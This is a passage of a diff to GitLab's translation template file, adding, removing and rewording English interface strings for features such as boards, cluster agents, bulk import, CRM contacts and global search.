msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5368,6 +5433,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5377,12 +5445,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5395,6 +5472,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5484,6 +5564,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5496,6 +5579,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5787,10 +5873,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5799,6 +5888,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6043,6 +6135,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6337,10 +6432,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6391,9 +6486,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6406,6 +6498,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6469,10 +6564,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6533,6 +6628,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6546,9 +6644,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6747,9 +6842,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7047,6 +7139,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7089,6 +7184,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7131,12 +7229,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7158,16 +7250,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7179,9 +7286,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7191,6 +7319,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7200,28 +7331,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7233,6 +7367,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7245,60 +7382,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7440,15 +7595,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7575,9 +7733,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7623,12 +7778,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7650,9 +7799,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -7953,6 +8099,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8007,6 +8156,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8064,9 +8216,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8103,6 +8252,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8527,6 +8679,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8539,6 +8697,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8578,9 +8739,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9289,7 +9447,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9445,6 +9603,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9604,6 +9765,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9637,9 +9801,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9859,6 +10020,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10245,6 +10436,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -10891,6 +11085,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -10912,6 +11109,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -10966,9 +11166,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11014,6 +11211,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11128,6 +11331,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11143,19 +11349,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11622,7 +11831,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -11886,6 +12095,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12052,6 +12264,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12142,9 +12357,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12178,6 +12390,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12256,9 +12471,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12352,6 +12573,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12367,6 +12591,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12388,6 +12615,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12487,9 +12717,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12541,6 +12768,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12562,6 +12792,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12634,6 +12867,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12808,6 +13044,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12890,16 +13132,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13139,9 +13378,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13190,9 +13426,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13529,7 +13762,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13710,9 +13943,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13830,6 +14060,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -13905,6 +14141,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14020,6 +14262,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14086,6 +14331,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14098,9 +14346,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14538,6 +14783,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14634,15 +14882,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14721,6 +14960,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14934,6 +15176,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15039,9 +15284,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15315,9 +15557,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15489,6 +15728,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15552,6 +15794,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15723,6 +15968,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -15870,7 +16160,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -15927,6 +16229,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16191,7 +16496,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
